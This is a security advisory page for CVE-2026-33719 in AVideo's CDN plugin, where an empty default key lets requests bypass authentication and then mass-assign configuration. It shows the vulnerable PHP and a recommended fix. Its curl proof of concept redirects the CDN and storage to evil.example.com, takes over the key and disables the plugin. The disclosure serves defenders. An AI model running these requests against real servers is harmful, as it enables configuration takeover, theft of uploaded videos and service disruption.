GHSA-R64R-883R-WCWH

Vulnerability from github – Published: 2026-03-25 21:55 – Updated: 2026-03-25 21:55
VLAI?
Summary
AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment
Details

Summary

The CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter.

Details

The CDN plugin defines a default empty key in plugin/CDN/CDN.php:68:

$obj->key = "";

The status.json.php endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:

// Line 16-19: Requires attacker to provide SOME key value
if (empty($_REQUEST['key'])) {
    $resp->msg = 'Key is empty';
    die(json_encode($resp));
}

// Line 21-26: Only validates key IF stored key is non-empty
if (!empty($obj->key)) {      // When key is "" (default), this is FALSE
    //check the key
    if ($obj->key !== $_REQUEST['key']) {
        $resp->msg = 'Key Does not match';
        die(json_encode($resp));
    }
}

When the stored key is the default empty string "", !empty("") evaluates to false, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.

Following the bypass, lines 28-31 perform unchecked mass-assignment:

$obj->key = $_REQUEST['key'];
foreach ($_REQUEST['par'] as $key => $value) {
    $obj->{$key} = $value;
    $resp->{$key} = $value;
}

The attacker-controlled par array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:

$cdn = AVideoPlugin::loadPluginIfEnabled('CDN');
$id = $cdn->setDataObject($obj);

setDataObject() in Plugin.abstract.php:263 serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.

Exploitable properties (defined in CDN.php:62-87) include: - CDN — main CDN URL for serving all video content - CDN_S3, CDN_B2, CDN_FTP — storage-specific CDN URLs - enable_storage — enables CDN storage functionality - storage_hostname, storage_username, storage_password — storage backend credentials - key — the authentication key itself (via mass-assignment, can override line 28)

The disable.json.php endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: $cdn->setStatus('inactive')).

This contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, Gallery/saveSort.json.php (commit 087dab884) uses isGlobalTokenValid(), and commit daca4ffb1 added User::isAdmin() checks to other configuration endpoints.

PoC

Prerequisites: AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).

Step 1: Verify CDN plugin is enabled and key is default

curl -s 'https://target/plugin/CDN/status.json.php' \
  -d 'key=anything' \
  -d 'par[CDN]=https://evil.example.com/'

If the response contains "error":false, the key bypass worked and CDN URL has been overwritten.

Step 2: Full takeover — redirect media, enable storage with attacker credentials, lock out admins

curl -s 'https://target/plugin/CDN/status.json.php' \
  -d 'key=initial-bypass' \
  -d 'par[CDN]=https://evil.example.com/' \
  -d 'par[enable_storage]=1' \
  -d 'par[storage_hostname]=evil.example.com' \
  -d 'par[storage_username]=attacker' \
  -d 'par[storage_password]=controlled' \
  -d 'par[key]=attacker-secret-key'

This single request: 1. Redirects all CDN-served media URLs to attacker's server 2. Enables CDN storage pointing to attacker-controlled host 3. Sets the key to attacker-secret-key, locking legitimate administrators out of reconfiguring via this endpoint

Step 3: Disable CDN entirely (denial of service)

curl -s 'https://target/plugin/CDN/disable.json.php' \
  -d 'key=attacker-secret-key' \
  -d 'par[x]=1'

This deactivates the CDN plugin, disrupting media delivery.

Impact

An unauthenticated remote attacker can:

  1. Redirect all media delivery — By overwriting the CDN URL, all video content served to users is fetched from an attacker-controlled server, enabling content injection or phishing.
  2. Exfiltrate uploaded videos — By enabling storage with attacker-controlled credentials, newly uploaded videos are sent to the attacker's storage server.
  3. Overwrite storage credentials — The storage_hostname, storage_username, and storage_password fields are all mass-assignable, allowing the attacker to hijack the storage backend.
  4. Lock out administrators — By setting the key via mass-assignment, the attacker prevents legitimate administrators from using these endpoints to restore configuration (though admin panel access is unaffected).
  5. Disable CDN — Via disable.json.php, the attacker can deactivate the CDN plugin entirely, causing service disruption for media delivery.

The vulnerability is exploitable on any AVideo instance where the CDN plugin has been enabled but the key has not been manually configured — which is the default state immediately after enabling the plugin.

Recommended Fix

Add proper session-based authentication to both endpoints and remove the flawed key-only auth as the sole gate. In plugin/CDN/status.json.php and plugin/CDN/disable.json.php, add an admin check after the configuration include:

require_once dirname(__FILE__) . '/../../videos/configuration.php';
_session_write_close();
header('Content-Type: application/json');

$resp = new stdClass();
$resp->error = true;
$resp->msg = '';

// Fix: Require admin authentication
if (!User::isAdmin()) {
    $obj = AVideoPlugin::getDataObjectIfEnabled('CDN');
    if (empty($obj) || empty($obj->key) || empty($_REQUEST['key']) || $obj->key !== $_REQUEST['key']) {
        $resp->msg = 'Authentication required';
        die(json_encode($resp));
    }
}

Additionally, restrict mass-assignment to only known, safe properties by validating against a whitelist:

$allowedParams = ['CDN', 'CDN_S3', 'CDN_B2', 'CDN_FTP', 'CDN_Live'];
foreach ($_REQUEST['par'] as $key => $value) {
    if (!in_array($key, $allowedParams, true)) {
        continue;
    }
    $obj->{$key} = $value;
    $resp->{$key} = $value;
}

This prevents mass-assignment of sensitive properties like key, storage_password, storage_hostname, and enable_storage even when the key-based auth is legitimately used by CDN nodes.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33719"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:55:32Z",
    "nvd_published_at": "2026-03-23T19:16:42Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe CDN plugin endpoints `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php` use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration \u2014 including CDN URLs, storage credentials, and the authentication key itself \u2014 via mass-assignment through the `par` request parameter.\n\n## Details\n\nThe CDN plugin defines a default empty key in `plugin/CDN/CDN.php:68`:\n\n```php\n$obj-\u003ekey = \"\";\n```\n\nThe `status.json.php` endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:\n\n```php\n// Line 16-19: Requires attacker to provide SOME key value\nif (empty($_REQUEST[\u0027key\u0027])) {\n    $resp-\u003emsg = \u0027Key is empty\u0027;\n    die(json_encode($resp));\n}\n\n// Line 21-26: Only validates key IF stored key is non-empty\nif (!empty($obj-\u003ekey)) {      // When key is \"\" (default), this is FALSE\n    //check the key\n    if ($obj-\u003ekey !== $_REQUEST[\u0027key\u0027]) {\n        $resp-\u003emsg = \u0027Key Does not match\u0027;\n        die(json_encode($resp));\n    }\n}\n```\n\nWhen the stored key is the default empty string `\"\"`, `!empty(\"\")` evaluates to `false`, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.\n\nFollowing the bypass, lines 28-31 perform unchecked mass-assignment:\n\n```php\n$obj-\u003ekey = $_REQUEST[\u0027key\u0027];\nforeach ($_REQUEST[\u0027par\u0027] as $key =\u003e $value) {\n    $obj-\u003e{$key} = $value;\n    $resp-\u003e{$key} = $value;\n}\n```\n\nThe attacker-controlled `par` array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:\n\n```php\n$cdn = AVideoPlugin::loadPluginIfEnabled(\u0027CDN\u0027);\n$id = $cdn-\u003esetDataObject($obj);\n```\n\n`setDataObject()` in `Plugin.abstract.php:263` serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.\n\nExploitable properties (defined in `CDN.php:62-87`) include:\n- `CDN` \u2014 main CDN URL for serving all video content\n- `CDN_S3`, `CDN_B2`, `CDN_FTP` \u2014 storage-specific CDN URLs\n- `enable_storage` \u2014 enables CDN storage functionality\n- `storage_hostname`, `storage_username`, `storage_password` \u2014 storage backend credentials\n- `key` \u2014 the authentication key itself (via mass-assignment, can override line 28)\n\nThe `disable.json.php` endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: `$cdn-\u003esetStatus(\u0027inactive\u0027)`).\n\nThis contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, `Gallery/saveSort.json.php` (commit 087dab884) uses `isGlobalTokenValid()`, and commit daca4ffb1 added `User::isAdmin()` checks to other configuration endpoints.\n\n## PoC\n\n**Prerequisites:** AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).\n\n**Step 1: Verify CDN plugin is enabled and key is default**\n\n```bash\ncurl -s \u0027https://target/plugin/CDN/status.json.php\u0027 \\\n  -d \u0027key=anything\u0027 \\\n  -d \u0027par[CDN]=https://evil.example.com/\u0027\n```\n\nIf the response contains `\"error\":false`, the key bypass worked and CDN URL has been overwritten.\n\n**Step 2: Full takeover \u2014 redirect media, enable storage with attacker credentials, lock out admins**\n\n```bash\ncurl -s \u0027https://target/plugin/CDN/status.json.php\u0027 \\\n  -d \u0027key=initial-bypass\u0027 \\\n  -d \u0027par[CDN]=https://evil.example.com/\u0027 \\\n  -d \u0027par[enable_storage]=1\u0027 \\\n  -d \u0027par[storage_hostname]=evil.example.com\u0027 \\\n  -d \u0027par[storage_username]=attacker\u0027 \\\n  -d \u0027par[storage_password]=controlled\u0027 \\\n  -d \u0027par[key]=attacker-secret-key\u0027\n```\n\nThis single request:\n1. Redirects all CDN-served media URLs to attacker\u0027s server\n2. Enables CDN storage pointing to attacker-controlled host\n3. Sets the key to `attacker-secret-key`, locking legitimate administrators out of reconfiguring via this endpoint\n\n**Step 3: Disable CDN entirely (denial of service)**\n\n```bash\ncurl -s \u0027https://target/plugin/CDN/disable.json.php\u0027 \\\n  -d \u0027key=attacker-secret-key\u0027 \\\n  -d \u0027par[x]=1\u0027\n```\n\nThis deactivates the CDN plugin, disrupting media delivery.\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n1. **Redirect all media delivery** \u2014 By overwriting the CDN URL, all video content served to users is fetched from an attacker-controlled server, enabling content injection or phishing.\n2. **Exfiltrate uploaded videos** \u2014 By enabling storage with attacker-controlled credentials, newly uploaded videos are sent to the attacker\u0027s storage server.\n3. **Overwrite storage credentials** \u2014 The `storage_hostname`, `storage_username`, and `storage_password` fields are all mass-assignable, allowing the attacker to hijack the storage backend.\n4. **Lock out administrators** \u2014 By setting the `key` via mass-assignment, the attacker prevents legitimate administrators from using these endpoints to restore configuration (though admin panel access is unaffected).\n5. **Disable CDN** \u2014 Via `disable.json.php`, the attacker can deactivate the CDN plugin entirely, causing service disruption for media delivery.\n\nThe vulnerability is exploitable on any AVideo instance where the CDN plugin has been enabled but the key has not been manually configured \u2014 which is the default state immediately after enabling the plugin.\n\n## Recommended Fix\n\nAdd proper session-based authentication to both endpoints and remove the flawed key-only auth as the sole gate. In `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php`, add an admin check after the configuration include:\n\n```php\nrequire_once dirname(__FILE__) . \u0027/../../videos/configuration.php\u0027;\n_session_write_close();\nheader(\u0027Content-Type: application/json\u0027);\n\n$resp = new stdClass();\n$resp-\u003eerror = true;\n$resp-\u003emsg = \u0027\u0027;\n\n// Fix: Require admin authentication\nif (!User::isAdmin()) {\n    $obj = AVideoPlugin::getDataObjectIfEnabled(\u0027CDN\u0027);\n    if (empty($obj) || empty($obj-\u003ekey) || empty($_REQUEST[\u0027key\u0027]) || $obj-\u003ekey !== $_REQUEST[\u0027key\u0027]) {\n        $resp-\u003emsg = \u0027Authentication required\u0027;\n        die(json_encode($resp));\n    }\n}\n```\n\nAdditionally, restrict mass-assignment to only known, safe properties by validating against a whitelist:\n\n```php\n$allowedParams = [\u0027CDN\u0027, \u0027CDN_S3\u0027, \u0027CDN_B2\u0027, \u0027CDN_FTP\u0027, \u0027CDN_Live\u0027];\nforeach ($_REQUEST[\u0027par\u0027] as $key =\u003e $value) {\n    if (!in_array($key, $allowedParams, true)) {\n        continue;\n    }\n    $obj-\u003e{$key} = $value;\n    $resp-\u003e{$key} = $value;\n}\n```\n\nThis prevents mass-assignment of sensitive properties like `key`, `storage_password`, `storage_hostname`, and `enable_storage` even when the key-based auth is legitimately used by CDN nodes.",
  "id": "GHSA-r64r-883r-wcwh",
  "modified": "2026-03-25T21:55:32Z",
  "published": "2026-03-25T21:55:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-r64r-883r-wcwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33719"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/adeff0a31ba04a56f411eef256139fd7ed7d4310"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…